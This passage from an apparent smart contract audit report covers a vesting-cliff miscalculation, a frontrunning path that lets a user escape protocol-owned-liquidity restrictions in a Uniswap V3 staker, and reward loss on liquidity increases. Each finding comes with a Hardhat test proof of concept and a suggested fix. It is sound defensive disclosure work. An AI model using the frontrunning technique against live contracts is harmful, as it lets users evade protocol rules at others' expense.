Example:
Suppose an emission has:
- `startTime = T0`.
- `cliffDuration = 7 days`.
- `vestingPeriod = 30 days`.
- `totalAmount = 1000 tokens`.
- `style = Dripped` (i.e., linear vesting).

Expected behavior:
- From `T0` to `T0 + 7 days`: rewards vest linearly but cannot be claimed.
- At `T0 + 7 days`, the user should be able to claim:

vested = 1000 * (7 / 30) = 233.33 tokens
```

However, in the current implementation:

```
uint256 vestingDuration = params.endTime - params.startTime - params.cliffDuration;
uint256 timeVested = params.currentTime - params.startTime - params.cliffDuration;
````

This shortens the vesting period to 23 days (30 - 7), and resets timeVested to zero at cliff
end. As a result, at day 7, the user sees:
```

timeVested = 0 vested = 0 tokens

```
This leads to users receiving fewer tokens than they are entitled to after the cliff.

**Proof of Concept:**
```ts
it("wrong vesting period and cliff duration handling", async () => {
  await context.staker.connect(user1).unstakeToken(
    {
      rewardToken: context.rewardToken.address,
      pool: context.poolObj.address,
      startTime: timestamps.startTime,
      endTime: timestamps.endTime,
      reward: totalReward.mul(2),
      vestingPeriod: timestamps.vestingPeriod,
      refundee: incentiveCreator.address,
      rangeSettings: {
        rangeType: 0,
        hasTickRange: false,
        requiredTickLower: 0,
        requiredTickUpper: 0,
        hasMinWidth: false,
        minTickWidth: 0,
        buildsPOL: false,
      },
      emissionSettings: {
        emissionStyle: 1,
        period: period,
        cliff: cliff,
        stagingDuration: 0,
        isForfeitable: false,
      },
    },
    tokenId1
  );

  // Fetch the newly created emission
  const [emission] = await emissionController.getEmissionsPaginated(
    user1.address,
    0,
    1
  );

  // Validate that the emission was created with the correct vesting and cliff values
  expect(emission.vestingPeriod).to.equal(period);
  expect(emission.cliffDuration).to.equal(cliff);

  // Fast forward time to halfway through the vesting period
  await Time.set((await blockTimestamp()) + period / 2);

  const balanceBefore = await context.rewardToken.balanceOf(user1.address);

  // Claim the reward halfway through vesting (cliff should have passed by now)
  await emissionController.connect(user1).claimReward(emission.emissionId);

  const claimed = (await context.rewardToken.balanceOf(user1.address)).sub(
    balanceBefore
  );

  // The claimed amount should be exactly 50% of the total reward if vesting was linear and
cliff was excluded.
  // If the cliff is incorrectly subtracted from the vesting duration, the vested amount at
halfway will be less.
  expect(claimed).to.be.lt(emission.totalAmount.div(2));
});
```

Recommendation

Consider calculating vesting over the full emission period:

```
-uint256 vestingDuration = params.endTime - params.startTime - params.cliffDuration;
-uint256 timeVested = params.currentTime - params.startTime - params.cliffDuration;
+uint256 vestingDuration = params.endTime - params.startTime;
+uint256 timeVested = params.currentTime - params.startTime;
```

This ensures that vesting begins at the emission start, even if it is only claimable after the cliff ends.

[L-15] `ReleasePol()` can be frontrun to bypass incentive rules

When users deposit the UniV3 position into the staker, they accumulate some rewards from incentives. Users can stake this position in different incentives, capped at some limit. Incentives could be in different reward tokens/amounts, and incentives could also be a POL, where it means that the current staked position belongs to the protocol, and the staker/depositor can't decrease the liquidity of the position or withdraw it from the protocol, from the docs:

- When staking into a POL incentive, the position becomes protocol-owned
- POL positions can be unstaked, and move between incentives, but cannot be withdrawn from the contract
- Liquidity cannot be decreased from POL positions

This is also reflected in the staker contract with the following checks, where needed:

```
require(!deposits[tokenId].buildsPOL, "E024");
```

On the other hand, after unstaking from POL incentives, the owner can release the POL lock and allow the user to withdraw their position from the contract, this could be done by calling `UniswapV3Staker::releasePOL`, however, this doesn't check for deposit's incentives and if any is POL, making it vulnerable to frontrunning.

Let's take the following example: 1. A user stakes a position in POL Incentive A. 2. Later, the user unstakes from Incentive A, freeing the position from all active incentives. 3. The contract owner, assuming the user is done with POL incentives, initiates `releasePOL(tokenId)` to let them withdraw. 4. The user frontruns the owner's transaction by staking into **POL Incentive B**. 5. The owner's `releasePOL()` succeeds (since the deposit had no active incentives **at the time of tx construction**), setting `buildsPOL = false`. 6. The user is now staked in a **POL** incentive but without having POL restrictions enforced—**they can freely call** `decreaseLiquidity()` **or** `withdrawToken()`.

This allows the user to bypass the POL restrictions effectively.

Proof of Concept:

```
it("can release POL even if the deposit has a POL incentive", async () => {
  const {
    subject: {
      createIncentiveResult,
      context: { staker },
      stakes: [{ tokenId }],
    },
    lpUsers: [lpUser0],
    incentiveCreator,
  } = {
    subject,
    lpUsers: actors.lpUsers(),
    incentiveCreator: actors.incentiveCreator(),
  };
  const incentiveId = await subject.helpers.getIncentiveId(
    createIncentiveResult
  );

  expect(
    await staker.getUserERC721StakeAt(lpUser0.address, tokenId, 0)
  ).to.be.equal(incentiveId);

  expect((await staker.incentives(incentiveId)).rangeSettings.buildsPOL)
    .to.be.true;

  await staker.connect(incentiveCreator).releasePOL(tokenId);
});
```

Recommendations

Consider ensuring that the released deposit has no incentives with POL:

```
function releasePOL(uint256 tokenId) external onlyOwner {
    require(deposits[tokenId].buildsPOL, "E013");
+   EnumerableSet.Bytes32Set storage tokenIncentives = userERC721Stakes[deposits[tokenId].owner]
[tokenId];
+   for (uint256 i = 0; i < tokenIncentives.length(); i++) {
+       require(!incentives[tokenIncentives.at(i)].rangeSettings.buildsPOL, "...");
+   }
    deposits[tokenId].buildsPOL = false;
    polTokenIds.remove(tokenId);
    emit POLStatusChanged(tokenId, false);
}
```

[L-16] Vested rewards lost if users alter liquidity mid-incentive

When users stake their UniV3 positions in the `UniswapV3Staker` contract to earn some rewards, the owner creates incentives with a certain tick range and a vesting period, where the pool's price needs to stay in the range for a certain period of time to earn rewards. This period of time is called the vesting period. If the time inside the ticks is < the vesting period while the incentive is active, the user will not be able to claim 100% of the rewards, but only a fraction of it.

```
if (params.vestingPeriod <= params.secondsInside - params.secondsInsideInitial) {
    reward = maxReward;
} else {
    reward = maxReward * (params.secondsInside - params.secondsInsideInitial) /
params.vestingPeriod;
}
```

On the other hand, users are allowed to increase their liquidity in the staked position at any time, which claims any pending rewards for the user, so that it is claimed according to the old liquidity amount. The next unstake will then claim the rewards according to the new liquidity amount, which works as expected. When increasing the liquidity, the protocol unstakes, then stakes the position again with the new liquidity amount, which automatically claims the pending rewards using the vesting logic above. However, this contains a serious flaw, as unstake calculates the acucmlated rewards based on the time inside the ticks, and checks against the vesting period, and when increasing liquidity there's a very high chance that the vesting period is not met, which means that the user will not be able to claim 100% of the rewards, but only a fraction of it. This is a problem because the user has already staked the position for a certain amount of time, didn't unstake early, doesn't want to unstake early, and the price is still in range, and could stay the whole period, but still gets a fraction of the rewards, which is not what the user expects.

This leads to a loss of rewards for the user, as the other portion will be locked to be claimed later by the incentive refundee.

Proof of Concept:

Add the following test in `test/UniswapV3Staker.integration.spec.ts`, `time goes past the incentive end time`:

```
it("increase liquidity - wrongly cutting vested rewards", async () => {
  const {
    subject: {
      createIncentiveResult,
      context: { nft, staker, token0, token1 },
      stakes: [{ tokenId }],
    },
    lpUsers: [lpUser0],
    amountDesired,
  } = { subject, lpUsers: actors.lpUsers(), amountDesired: BNe18(100) };
  const incentiveId = await subject.helpers.getIncentiveId(
    createIncentiveResult
  );

  await e20h.ensureBalancesAndApprovals(
    lpUser0,
    [token0, token1],
    amountDesired.mul(10),
    nft.address
  );

  await Time.setAndMine((await blockTimestamp()) + duration / 2);

  await token0.connect(lpUser0).approve(staker.address, amountDesired);
  await token1.connect(lpUser0).approve(staker.address, amountDesired);

  await staker
```

```
    .connect(lpUser0)
    .increaseLiquidity(
      tokenId,
      amountDesired,
      amountDesired,
      0,
      0,
      (await blockTimestamp()) + 1
    );

  await Time.set(createIncentiveResult.endTime + 1);

  await staker
    .connect(lpUser0)
    .unstakeToken(
      incentiveResultToStakeAdapter(createIncentiveResult),
      tokenId
    );

  // Total locked rewards > 0, knowing that the user didn't unstake early, and the price was in
range the whole period
  expect((await staker.incentives(incentiveId)).totalRewardLocked).be.gt(0);
});
```

Recommendations

The mitigation is non-trivial, as the current vesting mechanism penalizes any liquidity restaking—even when users intend to maintain their position for the full duration. This creates a mismatch between user expectations and protocol behavior.

Consider rethinking the vesting logic to avoid prematurely cutting rewards during liquidity modifications. One potential approach is to prorate vesting based on both:

- `secondsInside - secondsInsideInitial` (as currently implemented), and
- the elapsed time since `incentive.startTime`.